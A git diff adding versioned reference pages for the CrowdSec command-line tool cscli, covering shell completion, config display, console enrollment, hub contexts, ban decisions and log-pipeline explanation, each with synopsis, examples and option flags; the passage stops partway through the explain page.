/dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_completion.md @@ -0,0 +1,90 @@ +--- +id: cscli_completion +title: cscli completion +--- +Generate completion script + +### Synopsis + +To load completions: + +### Bash: +```shell + $ source <(cscli completion bash) + + # To load completions for each session, execute once: + + + # Linux: + + $ cscli completion bash | sudo tee /etc/bash_completion.d/cscli + $ source ~/.bashrc + + # macOS: + + $ cscli completion bash | sudo tee /usr/local/etc/bash_completion.d/cscli + + # Troubleshoot: + If you have this error (bash: _get_comp_words_by_ref: command not found), it seems that you need "bash-completion" dependency : + + * Install bash-completion package + $ source /etc/profile + $ source <(cscli completion bash) +``` + +### Zsh: +```shell + # If shell completion is not already enabled in your environment, + # you will need to enable it. You can execute the following once: + + $ echo "autoload -U compinit; compinit" >> ~/.zshrc + + # To load completions for each session, execute once: + + $ cscli completion zsh > "${fpath[1]}/_cscli" + + # You will need to start a new shell for this setup to take effect. + +### fish: +```shell + $ cscli completion fish | source + + # To load completions for each session, execute once: + $ cscli completion fish > ~/.config/fish/completions/cscli.fish +``` +### PowerShell: +```powershell + PS> cscli completion powershell | Out-String | Invoke-Expression + + # To load completions for every new session, run: + PS> cscli completion powershell > cscli.ps1 + # and source this file from your PowerShell profile. +``` + +``` +cscli completion [bash|zsh|powershell|fish] +``` + +### Options + +``` + -h, --help help for completion +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md new file mode 100644 index 000000000..fa601081b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config.md @@ -0,0 +1,32 @@ +--- +id: cscli_config +title: cscli config +--- +Allows to view current config + +### Options + +``` + -h, --help help for config +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli config feature-flags](/cscli/cscli_config_feature-flags.md) - Displays feature flag status +* [cscli config show](/cscli/cscli_config_show.md) - Displays current config +* [cscli config show-yaml](/cscli/cscli_config_show-yaml.md) - Displays merged config.yaml + config.yaml.local + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md new file mode 100644 index 000000000..1a365ad45 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_feature-flags.md @@ -0,0 +1,38 @@ +--- +id: cscli_config_feature-flags +title: cscli config feature-flags +--- +Displays feature flag status + +### Synopsis + +Displays the supported feature flags and their current status. + +``` +cscli config feature-flags [flags] +``` + +### Options + +``` + -h, --help help for feature-flags + --retired Show retired features +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli config](/cscli/cscli_config.md) - Allows to view current config + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md new file mode 100644 index 000000000..c248f1fe9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show-yaml.md @@ -0,0 +1,33 @@ +--- +id: cscli_config_show-yaml +title: cscli config show-yaml +--- +Displays merged config.yaml + config.yaml.local + +``` +cscli config show-yaml [flags] +``` + +### Options + +``` + -h, --help help for show-yaml +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli config](/cscli/cscli_config.md) - Allows to view current config + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md new file mode 100644 index 000000000..252e1d374 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_config_show.md @@ -0,0 +1,38 @@ +--- +id: cscli_config_show +title: cscli config show +--- +Displays current config + +### Synopsis + +Displays the current cli configuration. + +``` +cscli config show [flags] +``` + +### Options + +``` + -h, --help help for show + --key string Display only this value (Config.API.Server.ListenURI) +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli config](/cscli/cscli_config.md) - Allows to view current config + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md new file mode 100644 index 000000000..ebccae0f3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console.md @@ -0,0 +1,33 @@ +--- +id: cscli_console +title: cscli console +--- +Manage interaction with Crowdsec console (https://app.crowdsec.net) + +### Options + +``` + -h, --help help for console +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli console disable](/cscli/cscli_console_disable.md) - Disable a console option +* [cscli console enable](/cscli/cscli_console_enable.md) - Enable a console option +* [cscli console enroll](/cscli/cscli_console_enroll.md) - Enroll this instance to https://app.crowdsec.net [requires local API] +* [cscli console status](/cscli/cscli_console_status.md) - Shows status of the console options + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md new file mode 100644 index 000000000..f5847aac9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_disable.md @@ -0,0 +1,45 @@ +--- +id: cscli_console_disable +title: cscli console disable +--- +Disable a console option + +### Synopsis + + +Disable given information push to the central API. + +``` +cscli console disable [option] [flags] +``` + +### Examples + +``` +sudo cscli console disable tainted +``` + +### Options + +``` + -a, --all Disable all console options + -h, --help help for disable +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md new file mode 100644 index 000000000..d0e1ef8c3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enable.md @@ -0,0 +1,45 @@ +--- +id: cscli_console_enable +title: cscli console enable +--- +Enable a console option + +### Synopsis + + +Enable given information push to the central API. Allows to empower the console + +``` +cscli console enable [option]... [flags] +``` + +### Examples + +``` +sudo cscli console enable tainted +``` + +### Options + +``` + -a, --all Enable all console options + -h, --help help for enable +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md new file mode 100644 index 000000000..28b27d967 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_enroll.md @@ -0,0 +1,58 @@ +--- +id: cscli_console_enroll +title: cscli console enroll +--- +Enroll this instance to https://app.crowdsec.net [requires local API] + +### Synopsis + + +Enroll this instance to https://app.crowdsec.net + +You can get your enrollment key by creating an account on https://app.crowdsec.net. +After running this command your will need to validate the enrollment in the webapp. + +``` +cscli console enroll [enroll-key] [flags] +``` + +### Examples + +``` +cscli console enroll YOUR-ENROLL-KEY +cscli console enroll --name [instance_name] YOUR-ENROLL-KEY +cscli console enroll --name [instance_name] --tags [tag_1] --tags [tag_2] YOUR-ENROLL-KEY +cscli console enroll --enable console_management YOUR-ENROLL-KEY +cscli console enroll --disable context YOUR-ENROLL-KEY + +valid options are : custom,manual,tainted,context,console_management,all (see 'cscli console status' for details) +``` + +### Options + +``` + -d, --disable strings Disable console options + -e, --enable strings Enable console options + -h, --help help for enroll + -n, --name string Name to display in the console + --overwrite Force enroll the instance + -t, --tags strings Tags to display in the console +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md new file mode 100644 index 000000000..979c3fa56 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_console_status.md @@ -0,0 +1,39 @@ +--- +id: cscli_console_status +title: cscli console status +--- +Shows status of the console options + +``` +cscli console status [flags] +``` + +### Examples + +``` +sudo cscli console status +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md new file mode 100644 index 000000000..f7b958508 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts.md @@ -0,0 +1,45 @@ +--- +id: cscli_contexts +title: cscli contexts +--- +Manage hub contexts + +### Examples + +``` +cscli contexts list -a +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet +cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet + +``` + +### Options + +``` + -h, --help help for contexts +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli contexts inspect](/cscli/cscli_contexts_inspect.md) - Inspect given context(s) +* [cscli contexts install](/cscli/cscli_contexts_install.md) - Install given context(s) +* [cscli contexts list](/cscli/cscli_contexts_list.md) - List context(s) +* [cscli contexts remove](/cscli/cscli_contexts_remove.md) - Remove given context(s) +* [cscli contexts upgrade](/cscli/cscli_contexts_upgrade.md) - Upgrade given context(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md new file mode 100644 index 000000000..020503825 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_inspect.md @@ -0,0 +1,54 @@ +--- +id: cscli_contexts_inspect +title: cscli contexts inspect +--- +Inspect given context(s) + +### Synopsis + +Inspect the state of one or more contexts + +``` +cscli contexts inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state and ancestor collections of contexts (installed or not). +cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet + +# Display difference between a tainted item and the latest one. +cscli contexts inspect crowdsecurity/bf_base --diff + +# Reverse the above diff +cscli contexts inspect crowdsecurity/bf_base --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md new file mode 100644 index 000000000..ec8ea390e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_contexts_install +title: cscli contexts install +--- +Install given context(s) + +### Synopsis + +Fetch and install one or more contexts from the hub + +``` +cscli contexts install [item]... [flags] +``` + +### Examples + +``` +# Install some contexts. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw + +# Download only, to be installed later. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet -i +cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple contexts + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md new file mode 100644 index 000000000..a7c747e4c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_contexts_list +title: cscli contexts list +--- +List context(s) + +### Synopsis + +List of installed/available/specified contexts + +``` +cscli contexts list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) contexts. +cscli contexts list + +# List all available contexts (installed or not). +cscli contexts list -a + +# List specific contexts (installed or not). +cscli contexts list crowdsecurity/bf_base crowdsecurity/fortinet +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md new file mode 100644 index 000000000..27d9ace0d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_contexts_remove +title: cscli contexts remove +--- +Remove given context(s) + +### Synopsis + +Remove one or more contexts + +``` +cscli contexts remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some contexts. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --purge + +# Remove tainted items. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet -i +cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --interactive +``` + +### Options + +``` + --all Remove all the contexts + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md new file mode 100644 index 000000000..d81e78fa3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_contexts_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_contexts_upgrade +title: cscli contexts upgrade +--- +Upgrade given context(s) + +### Synopsis + +Fetch and upgrade one or more contexts from the hub + +``` +cscli contexts upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some contexts. If they are not currently installed, they are downloaded but not installed. +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet -i +cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --interactive +``` + +### Options + +``` + -a, --all Upgrade all the contexts + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md new file mode 100644 index 000000000..d003043fa --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions.md @@ -0,0 +1,43 @@ +--- +id: cscli_decisions +title: cscli decisions +--- +Manage decisions + +### Synopsis + +Add/List/Delete/Import decisions from LAPI + +### Examples + +``` +cscli decisions [action] [filter] +``` + +### Options + +``` + -h, --help help for decisions +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli decisions add](/cscli/cscli_decisions_add.md) - Add decision to LAPI +* [cscli decisions delete](/cscli/cscli_decisions_delete.md) - Delete decisions +* [cscli decisions import](/cscli/cscli_decisions_import.md) - Import decisions from a file or pipe +* [cscli decisions list](/cscli/cscli_decisions_list.md) - List decisions from LAPI + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md new file mode 100644 index 000000000..12ac37301 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_add.md @@ -0,0 +1,51 @@ +--- +id: cscli_decisions_add +title: cscli decisions add +--- +Add decision to LAPI + +``` +cscli decisions add [options] [flags] +``` + +### Examples + +``` +cscli decisions add --ip 1.2.3.4 +cscli decisions add --range 1.2.3.0/24 +cscli decisions add --ip 1.2.3.4 --duration 24h --type captcha +cscli decisions add --scope username --value foobar + +``` + +### Options + +``` + -i, --ip string Source ip (shorthand for --scope ip --value ) + -r, --range string Range source ip (shorthand for --scope range --value ) + -d, --duration string Decision duration (ie. 1h,4h,30m) (default "4h") + -v, --value string The value (ie. --scope username --value foobar) + --scope string Decision scope (ie. ip,range,username) (default "Ip") + -R, --reason string Decision reason (ie. scenario-name) + -t, --type string Decision type (ie. ban,captcha,throttle) (default "ban") + -B, --bypass-allowlist Add decision even if value is in allowlist + -h, --help help for add +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md new file mode 100644 index 000000000..dedbe1fd3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_delete.md @@ -0,0 +1,53 @@ +--- +id: cscli_decisions_delete +title: cscli decisions delete +--- +Delete decisions + +``` +cscli decisions delete [options] [flags] +``` + +### Examples + +``` +cscli decisions delete -r 1.2.3.0/24 +cscli decisions delete -i 1.2.3.4 +cscli decisions delete --id 42 +cscli decisions delete --type captcha +cscli decisions delete --origin lists --scenario list_name + +``` + +### Options + +``` + -i, --ip string Source ip (shorthand for --scope ip --value ) + -r, --range string Range source ip (shorthand for --scope range --value ) + -t, --type string the decision type (ie. ban,captcha) + -v, --value string the value to match for in the specified scope + -s, --scenario string the scenario name (ie. crowdsecurity/ssh-bf) + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + --id string decision id + --all delete all decisions + --contained query decisions contained by range + -h, --help help for delete +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md new file mode 100644 index 000000000..1bca02a2f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_import.md @@ -0,0 +1,67 @@ +--- +id: cscli_decisions_import +title: cscli decisions import +--- +Import decisions from a file or pipe + +### Synopsis + +expected format: +csv : any of duration,reason,scope,type,value, with a header line +json :`{"duration": "24h", "reason": "my_scenario", "scope": "ip", "type": "ban", "value": "x.y.z.z"}` + +``` +cscli decisions import [options] [flags] +``` + +### Examples + +``` +decisions.csv: +duration,scope,value +24h,ip,1.2.3.4 + +$ cscli decisions import -i decisions.csv + +decisions.json: +[{"duration": "4h", "scope": "ip", "type": "ban", "value": "1.2.3.4"}] + +The file format is detected from the extension, but can be forced with the --format option +which is required when reading from standard input. + +Raw values, standard input: + +$ echo "1.2.3.4" | cscli decisions import -i - --format values + +``` + +### Options + +``` + -i, --input string Input file + -d, --duration string Decision duration: 1h,4h,30m (default "4h") + --scope string Decision scope: ip,range,username (default "Ip") + -R, --reason string Decision reason: (default "manual") + -t, --type string Decision type: ban,captcha,throttle (default "ban") + --batch int Split import in batches of N decisions + --format string Input format: 'json', 'csv' or 'values' (each line is a value, no headers) + -h, --help help for import +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md new file mode 100644 index 000000000..8d33dce19 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_decisions_list.md @@ -0,0 +1,57 @@ +--- +id: cscli_decisions_list +title: cscli decisions list +--- +List decisions from LAPI + +``` +cscli decisions list [options] [flags] +``` + +### Examples + +``` +cscli decisions list -i 1.2.3.4 +cscli decisions list -r 1.2.3.0/24 +cscli decisions list -s crowdsecurity/ssh-bf +cscli decisions list --origin lists --scenario list_name + +``` + +### Options + +``` + -a, --all Include decisions from Central API + --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s) + --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s) + -t, --type string restrict to this decision type (ie. ban,captcha) + --scope string restrict to this scope (ie. ip,range,session) + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + -v, --value string restrict to this value (ie. 1.2.3.4,userName) + -s, --scenario string restrict to this scenario (ie. crowdsecurity/ssh-bf) + -i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value ) + -r, --range string restrict to alerts from this source range (shorthand for --scope range --value ) + -l, --limit int number of alerts to get (use 0 to remove the limit) (default 100) + --no-simu exclude decisions in simulation mode + -m, --machine print machines that triggered decisions + --contained query decisions contained by range + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md new file mode 100644 index 000000000..f8e9078e9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_explain.md @@ -0,0 +1,60 @@ +--- +id: cscli_explain +title: cscli explain +--- +Explain log pipeline + +### Synopsis + + +Explain log pipeline + + +``` +cscli explain [flags] +``` + +### Examples + +``` + +cscli explain --file ./myfile.log --type nginx +cscli explain --log "Sep 19 18:33:22 scw-d95986 sshd[24347]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=1.2.3.4" --type syslog +cscli explain --dsn "file://myfile.log" --type nginx +tail -n 5 myfile.log | cscli explain --type nginx -f - + 